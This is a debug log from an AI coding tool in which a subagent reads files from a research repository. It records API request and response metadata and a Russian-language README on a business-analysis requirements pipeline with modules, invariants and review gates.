|\\n./artifact-rendering/00-introduction.md:46:5. \u0420\u0435\u043d\u0434\u0435\u0440 \u0438\u043c\u0435\u0435\u0442 \u0442\u0440\u0438 \u0440\u0435\u0436\u0438\u043c\u0430 \u2014 \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0448\u0430\u0431\u043b\u043e\u043d, \u0433\u0435\u043d\u0435\u0440\u0430\u0442\u0438\u0432\u043d\u0430\u044f \u0441\u0431\u043e\u0440\u043a\u0430 \u0438\\n./orchestration/10-theory.md:119:\u043e\u0441\u043e\u0437\u043d\u0430\u043d\u043d\u043e, \u043d\u043e \u043d\u0435 \u0434\u0430\u0451\u0442 \u043c\u0430\u0448\u0438\u043d\u043e\u0447\u0438\u0442\u0430\u0435\u043c\u043e\u0439 \u0444\u043e\u0440\u043c\u044b \u044d\u0442\u043e\u0433\u043e \u0432\u044b\u0431\u043e\u0440\u0430; BPMN/CMMN \u0434\u0430\u044e\u0442 \u0444\u043e\u0440\u043c\u0443,\\n./orchestration/10-theory.md:121:\u043c\u0430\u0448\u0438\u043d\u043e\u0447\u0438\u0442\u0430\u0435\u043c\u044b\u0439 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442 \u043c\u0435\u0436\u0434\u0443 \u044d\u0442\u0438\u043c\u0438 \u043a\u0440\u0430\u0439\u043d\u043e\u0441\u0442\u044f\u043c\u0438: \u0431\u0435\u0437 \u0434\u0432\u0438\u0436\u043a\u0430 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432, \u043d\u043e \u0441\\n./orchestration/50-open-research.md:112:| \u041c\u0430\u0440\u0448\u0440\u0443\u0442\u043d\u044b\u0439 \u043b\u0438\u0441\u0442 (`C-RK`) | \u043c\u0430\u0448\u0438\u043d\u043e\u0447\u0438\u0442\u0430\u0435\u043c\u044b\u0439 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 \u0441 \u043e\u0441\u044f\u043c\u0438, \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430\u043c\u0438 \u0438 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435\u043c |\",\n[2026-09-29T07:45:27.256Z] [INFO]         \"is_error\": false\n[2026-09-29T07:45:27.256Z] [INFO]       }\n[2026-09-29T07:45:27.256Z] [INFO]     ]\n[2026-09-29T07:45:27.256Z] [INFO]   },\n[2026-09-29T07:45:27.256Z] [INFO]   \"parent_tool_use_id\": \"toolu_01GFx7YR63TmqWwLsYXBMEow\",\n[2026-09-29T07:45:27.256Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:27.256Z] [INFO]   \"uuid\": \"570a2d85-dca7-4e56-b9f1-dbff05f77fde\",\n[2026-09-29T07:45:27.256Z] [INFO]   \"timestamp\": \"2026-09-29T07:45:27.250Z\",\n[2026-09-29T07:45:27.256Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:45:27.256Z] [INFO]   \"task_description\": \"Analyze ba-requirements research\"\n[2026-09-29T07:45:27.256Z] [INFO] }\n[2026-09-29T07:45:27.288Z] [STDOUT] [log_c6fc6a] sending request {\n[2026-09-29T07:45:27.292Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:45:27.297Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:27.302Z] [STDOUT]   options: {\n[2026-09-29T07:45:27.309Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:45:27.316Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:45:27.319Z] [STDOUT]     body: {\n[2026-09-29T07:45:27.327Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:45:27.332Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:45:27.337Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:45:27.342Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:45:27.346Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:45:27.350Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:45:27.357Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:45:27.363Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:45:27.366Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:45:27.368Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:45:27.370Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:45:27.371Z] [STDOUT]       stream: true,\n[2026-09-29T07:45:27.374Z] [STDOUT]     },\n[2026-09-29T07:45:27.379Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:45:27.384Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:45:27.388Z] [STDOUT]       [Symbol(events.maxEventTargetListeners)]: 50,\n[2026-09-29T07:45:27.391Z] [STDOUT]       [Symbol(events.maxEventTargetListenersWarned)]: false,\n[2026-09-29T07:45:27.394Z] [STDOUT]       aborted: false,\n[2026-09-29T07:45:27.396Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:45:27.399Z] [STDOUT]       onabort: null,\n[2026-09-29T07:45:27.402Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:45:27.407Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:45:27.411Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:45:27.417Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:45:27.421Z] [STDOUT]     },\n[2026-09-29T07:45:27.430Z] [STDOUT]     stream: true,\n[2026-09-29T07:45:27.432Z] [STDOUT]   },\n[2026-09-29T07:45:27.436Z] [STDOUT]   headers: {\n[2026-09-29T07:45:27.439Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:45:27.441Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:45:27.444Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:45:27.447Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:45:27.449Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:45:27.453Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:45:27.459Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:45:27.462Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:45:27.471Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:45:27.477Z] [STDOUT]     \"x-claude-code-agent-id\": \"a8223c4e8f50f54ab\",\n[2026-09-29T07:45:27.481Z] [STDOUT]     \"x-claude-code-agent-type\": \"general-purpose\",\n[2026-09-29T07:45:27.485Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1366\",\n[2026-09-29T07:45:27.490Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:45:27.496Z] [STDOUT]     \"x-claude-code-request-class\": \"subagent\",\n[2026-09-29T07:45:27.500Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:27.502Z] [STDOUT]     \"x-client-request-id\": \"1fc358a4-7c5c-4b6c-bde1-142603a9ff1c\",\n[2026-09-29T07:45:27.506Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:45:27.509Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:45:27.511Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:45:27.516Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:45:27.524Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:45:27.529Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:45:27.533Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:45:27.537Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:45:27.542Z] [STDOUT]   },\n[2026-09-29T07:45:27.546Z] [STDOUT] }\n[2026-09-29T07:45:28.055Z] [STDOUT] [log_c6fc6a, request-id: \"req_011CfXMkwbuhCEUM6SiWzG7g\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 769ms\n[2026-09-29T07:45:28.061Z] [STDOUT] [log_c6fc6a] response start {\n[2026-09-29T07:45:28.065Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:28.070Z] [STDOUT]   status: 200,\n[2026-09-29T07:45:28.074Z] [STDOUT]   headers: {\n[2026-09-29T07:45:28.077Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:45:28.081Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:45:28.088Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:45:28.092Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:45:28.097Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:45:28.104Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:45:28.109Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:45:28.118Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": 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\"content\": \"---\\nstatus: draft\\nversion: 0.5\\nupdated: 2026-09-10\\ntemperature: 0.1\\n---\\n\\n# BA Requirements \u2014 \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432 \u0431\u0438\u0437\u043d\u0435\u0441-\u0430\u043d\u0430\u043b\u0438\u0437\u0430\\n\\n\u041d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u0443\u0435\u0442 **\u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440** \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432 \u0431\u0438\u0437\u043d\u0435\u0441-\u0430\u043d\u0430\u043b\u0438\u0437\u0430: \u043a\u0430\u043a\\n\u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0430 \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u0432 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u043e\u0435 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 (`M0`),\\n\u043a\u0430\u043a \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u0441\u043e\u0431\u0438\u0440\u0430\u044e\u0442\u0441\u044f \u0432 \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u044f\u0434\u0440\u043e (`M1`), \u043a\u0430\u043a \u044f\u0434\u0440\u043e \u0440\u0430\u0437\u0432\u043e\u0440\u0430\u0447\u0438\u0432\u0430\u0435\u0442\u0441\u044f\\n\u0432 \u0446\u0435\u043b\u0435\u0432\u044b\u0435 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u044b \u0431\u0435\u0437 \u043f\u043e\u0442\u0435\u0440\u0438 \u0441\u043c\u044b\u0441\u043b\u0430 (`M2`), \u043a\u0430\u043a \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0437\u0430\u043c\u044b\u043a\u0430\u0435\u0442\u0441\u044f \u043e\u0431\u0440\u0430\u0442\u043d\u043e\u0439\\n\u0441\u0432\u044f\u0437\u044c\u044e (`M3`) \u0438 \u043a\u0430\u043a \u0432\u0441\u0451 \u044d\u0442\u043e \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043c\u0435\u0436\u0434\u0443 \u043b\u044e\u0434\u044c\u043c\u0438 \u0438 \u0430\u0433\u0435\u043d\u0442\u0430\u043c\u0438 (`M4`).\\n\u0414\u0435\u043a\u043e\u043c\u043f\u043e\u0437\u0438\u0446\u0438\u044f \u0437\u0430\u0434\u0430\u043d\u0430\\n[RFC \u0434\u043e\u0440\u043e\u0436\u043d\u043e\u0439 \u043a\u0430\u0440\u0442\u044b](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/rfc/2026-08-25-rfc-ba-artifact-pipeline-rrp-roadmap.md).\\n\\n\u041d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043d\u0430\u043c\u0435\u0440\u0435\u043d\u043d\u043e \u043e\u0442\u0434\u0435\u043b\u0435\u043d\u043e \u043e\u0442 [`research/mango/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/research/mango):\\n\u0442\u0430\u043c \u043b\u0435\u0436\u0430\u0442 \u0434\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u043e\u0442\u0447\u0451\u0442\u044b \u043f\u043e \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u044b\u043c \u0437\u0430\u0434\u0430\u0447\u0430\u043c \u0441\u043f\u0438\u0446\u044b MANGO OFFICE, \u0437\u0434\u0435\u0441\u044c \u2014\\n\u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0438\u043c\u0430\u044f \u0440\u0430\u043c\u043a\u0430, \u0443 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 Mango \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043e\u0434\u043d\u0438\u043c (\u043f\u0435\u0440\u0432\u044b\u043c) \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u0435\u043c.\\n\\n## \u041c\u043e\u0434\u0443\u043b\u0438\\n\\n- [`normalization/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/normalization/00-introduction.md)\\n  \u2014 \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f \u043d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439: \u0442\u0435\u0440\u043c\u0438\u043d\u043e\u043b\u043e\u0433\u0438\u044f \u0432\u0445\u043e\u0434\u043d\u043e\u0433\u043e \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430,\\n  \u0443\u043d\u0438\u0432\u0435\u0440\u0441\u0430\u043b\u044c\u043d\u0430\u044f \u0438 Mango-\u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0430\u044f \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438, \u043c\u0430\u0442\u0440\u0438\u0446\u0430 \u043a\u043e\u0440\u0440\u0435\u043b\u044f\u0446\u0438\u0438,\\n  \u0440\u0430\u043c\u043a\u0430 \u043f\u0440\u0438\u043d\u044f\u0442\u0438\u044f \u0440\u0435\u0448\u0435\u043d\u0438\u0439, \u0442\u0440\u0438 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u044b \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438, \u0433\u0440\u0430\u043d\u0438\u0447\u043d\u044b\u0435 \u043a\u0435\u0439\u0441\u044b.\\n  \u041e\u0444\u043e\u0440\u043c\u043b\u0435\u043d \u043f\u043e [Reference Research Pattern](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/rfc/2026-07-17-rfc-reference-research-pattern.md)\\n  (`00\u202650`).\\n- [`solution-modeling/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/solution-modeling/00-introduction.md)\\n  \u2014 \u043c\u043e\u0434\u0443\u043b\u044c `M1`: \u044f\u0434\u0440\u043e \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439. \u0418\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b `INV-1`\u2026`INV-9`, \u043a\u043b\u0430\u0441\u0441\u044b \u043c\u043e\u0434\u0435\u043b\u0435\u0439\\n  `MO-1`\u2026`MO-12`, \u0442\u0438\u043f\u044b \u044d\u043b\u0435\u043c\u0435\u043d\u0442\u043e\u0432 `EL-1`\u2026`EL-8`, \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 `C-CORE` \u0438 \u0433\u0435\u0439\u0442\u044b\\n  `HG-3`/`HG-4`.\\n- [`artifact-rendering/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/artifact-rendering/00-introduction.md)\\n  \u2014 \u043c\u043e\u0434\u0443\u043b\u044c `M2`: \u0440\u0435\u043d\u0434\u0435\u0440 \u044f\u0434\u0440\u0430 \u0432 \u0446\u0435\u043b\u0435\u0432\u044b\u0435 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u044b. \u0418\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u0440\u0435\u043d\u0434\u0435\u0440\u0430\\n  `RN-1`\u2026`RN-5`, \u043a\u043b\u0430\u0441\u0441\u044b \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 `DC-1`\u2026`DC-9`, \u043f\u0440\u043e\u0446\u0435\u0434\u0443\u0440\u0430 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u043d\u0435\u0434\u0440\u0435\u0439\u0444\u0430\\n  `ND`, \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 `C-OUT` \u0438 \u0433\u0435\u0439\u0442\u044b `HG-5`/`HG-5.1`.\\n- [`feedback-and-evolution/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/feedback-and-evolution/00-introduction.md)\\n  \u2014 \u043c\u043e\u0434\u0443\u043b\u044c `M3`: \u043e\u0431\u0440\u0430\u0442\u043d\u0430\u044f \u0441\u0432\u044f\u0437\u044c, \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0430 \u0440\u0435\u0448\u0435\u043d\u0438\u0439 \u0438 \u044d\u0432\u043e\u043b\u044e\u0446\u0438\u044f \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439.\\n  \u0418\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u0437\u0430\u043c\u044b\u043a\u0430\u043d\u0438\u044f `CL-1`\u2026`CL-6`, \u0441\u043b\u043e\u0432\u0430\u0440\u044c \u043c\u0435\u0442\u0440\u0438\u043a `MK-*`, \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 `C-CL`\\n  \u0438 \u0433\u0435\u0439\u0442\u044b `HG-6`/`HG-7`.\\n- [`orchestration/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/orchestration/00-introduction.md)\\n  \u2014 \u0441\u043a\u0432\u043e\u0437\u043d\u043e\u0439 \u043c\u043e\u0434\u0443\u043b\u044c `M4`: \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0446\u0438\u044f, \u0440\u043e\u043b\u0438, \u043f\u0440\u0435\u0440\u044b\u0432\u0430\u043d\u0438\u044f \u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u0435 \u0433\u0435\u0439\u0442\u044b.\\n  \u0418\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 `RT-1`\u2026`RT-7`, \u0442\u0438\u043f\u043e\u0432\u044b\u0435 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u044b `RT-A`\u2026`RT-F`, \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\\n  `C-RK`, \u0433\u0435\u0439\u0442\u044b `HG-0` \u0438 `HG-8`, \u0441\u0432\u043e\u0434\u043d\u044b\u0439 build-vs-buy \u043f\u043e \u0432\u0441\u0435\u043c\u0443 \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440\u0443.\\n- [`methodology-unification/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/methodology-unification/00-introduction.md)\\n  \u2014 \u043f\u0440\u0435\u0434\u043c\u0435\u0442\u043d\u0430\u044f \u043e\u0441\u044c \u043c\u0435\u0442\u043e\u0434\u043e\u043b\u043e\u0433\u0438\u0438 \u0411\u0410: \u0434\u0432\u0443\u0445\u0443\u0440\u043e\u0432\u043d\u0435\u0432\u0430\u044f \u0440\u0430\u043c\u043a\u0430 \u00ab\u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u2194 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435\u00bb.\\n  \u0423\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u2014 \u043d\u0430\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435 `L0` (\u0438\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u044f) \u2192 `L1` (\u0418\u0422-\u0442\u0435\u043b\u0435\u043a\u043e\u043c) \u2192\\n  `L2` (\u041c\u0430\u043d\u0433\u043e) \u0441 \u043f\u0440\u0430\u0432\u0438\u043b\u0430\u043c\u0438 \u0434\u0435\u043b\u044c\u0442\u044b `D1`\u2013`D5`; \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u2014 \u0440\u0430\u0437\u0440\u0435\u0448\u0451\u043d\u043d\u044b\u0439\\n  \u043d\u0430\u0432\u044b\u043a `SKILL.md` \u0441 \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430\u043c\u0438 `I-1`\u2026`I-7`, \u0436\u0438\u0437\u043d\u0435\u043d\u043d\u044b\u0439 \u0446\u0438\u043a\u043b `S0`\u2013`S7`,\\n  \u0442\u0438\u043f\u043e\u043b\u043e\u0433\u0438\u044f \u0433\u0435\u0439\u0442\u043e\u0432 `G-self`/`G-mach`/`G-human`, \u0440\u0435\u0435\u0441\u0442\u0440 \u0440\u0430\u0437\u0440\u044b\u0432\u043e\u0432 `G-01`\u2026`G-15`\\n  \u0438 \u0440\u043e\u0430\u0434\u043c\u0430\u043f \u043a\u0430\u0441\u043a\u0430\u0434\u0430 `B-121`\u2026`B-135` (issue\\n  [#557](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/557)).\\n  \u041e\u0441\u044c \u043e\u0440\u0442\u043e\u0433\u043e\u043d\u0430\u043b\u044c\u043d\u0430 \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440\u0443 `M0`\u2013`M4`: \u0442\u0435 \u043c\u043e\u0434\u0443\u043b\u0438 \u043e\u0442\u0432\u0435\u0447\u0430\u044e\u0442 \u043d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441 \u00ab\u043a\u0430\u043a\\n  \u0443\u0441\u0442\u0440\u043e\u0435\u043d \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u00bb, \u044d\u0442\u043e\u0442 \u2014 \u00ab\u043e\u0442\u043a\u0443\u0434\u0430 \u0431\u0435\u0440\u0451\u0442\u0441\u044f \u043d\u043e\u0440\u043c\u0430\u00bb.\\n\\n- [`artifact-micro-structure/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/artifact-micro-structure/00-introduction.md)\\n  \u2014 \u043c\u0438\u043a\u0440\u043e-\u0443\u0440\u043e\u0432\u0435\u043d\u044c \u0442\u043e\u0439 \u0436\u0435 \u043e\u0441\u0438: \u043a\u0430\u043a \u0438\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u0430\u043b\u044c\u043d\u044b\u0439 \u0431\u0430\u0437\u0438\u0441 \u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0435 \u0434\u0435\u043b\u044c\u0442\u044b\\n  \u0441\u0432\u043e\u0434\u044f\u0442\u0441\u044f \u043a **\u043e\u0434\u043d\u043e\u0439** \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0438\u0440\u0443\u044e\u0449\u0435\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430. \u0421\u043b\u043e\u0432\u0430\u0440\u044c \u0441\u043b\u043e\u0442\u043e\u0432\\n  `S-*` \u0441 \u0440\u043e\u0432\u043d\u043e \u043e\u0434\u043d\u043e\u0439 \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u043f\u043e\u0434\u043f\u0438\u0441\u044c\u044e, \u043a\u043b\u0430\u0441\u0441\u044b \u0444\u043e\u0440\u043c\u0430\u0442\u0430 `F-*`, \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u0438\\n  `V-BIZ`/`V-APPROVE`/`V-DEV` \u043e\u0434\u043d\u043e\u0433\u043e \u0440\u0430\u0437\u043c\u0435\u0447\u0435\u043d\u043d\u043e\u0433\u043e \u044f\u0434\u0440\u0430, \u043f\u0440\u043e\u0444\u0438\u043b\u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\\n  `P-SETTINGS`/`P-NO-SETTINGS`/`P-DEVICE`/`P-API`, \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0441\u0432\u0435\u0434\u0435\u043d\u0438\u044f `R-1`\u2026`R-6`,\\n  \u0440\u0430\u0437\u0434\u0435\u043b\u0435\u043d\u0438\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0438 \u043d\u0430\u0432\u044b\u043a\u0430 (`OP-1`, `OP-2`), \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e\\n  \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430 `CA-1`\u2026`CA-6`, Golden Set \u043a\u0430\u043a \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u044d\u043b\u0435\u043c\u0435\u043d\u0442 \u0433\u0435\u0439\u0442\u0430 `G-mach`\\n  (`GS-1`\u2026`GS-5`), 12 \u0433\u0440\u0430\u043d\u0438\u0447\u043d\u044b\u0445 \u043a\u0435\u0439\u0441\u043e\u0432 `E-1`\u2026`E-12` \u0438 \u0437\u0430\u0434\u0430\u0447\u0438 `B-136`\u2026`B-143`\\n  (issue [#561](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/561)).\\n  \u041c\u043e\u0434\u0443\u043b\u044c `methodology-unification/` \u043d\u0430\u043c\u0435\u0440\u0435\u043d\u043d\u043e **\u043d\u0435 \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f**: \u043f\u043e\u043f\u0440\u0430\u0432\u043a\u0438\\n  \u043a \u043d\u0435\u043c\u0443 \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u044b \u043a\u0430\u043a `\u041f-1`\u2026`\u041f-5` \u0438 \u0437\u0430\u0432\u0435\u0434\u0435\u043d\u044b \u0437\u0430\u0434\u0430\u0447\u0435\u0439 `B-141`.\\n\\n## \u041f\u0435\u0440\u0435\u043d\u0435\u0441\u0451\u043d\u043d\u044b\u0435 \u043c\u043e\u0434\u0443\u043b\u0438\\n\\n\u0422\u0440\u0438 \u043c\u043e\u0434\u0443\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u044e\u0442 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044e \u0411\u0410-\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u041a\u041a \u041c\u0430\u043d\u0433\u043e \u0432 \u0441\u0440\u0435\u0434\u0435\\nGigaCode, \u0442\u043e \u0435\u0441\u0442\u044c \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f 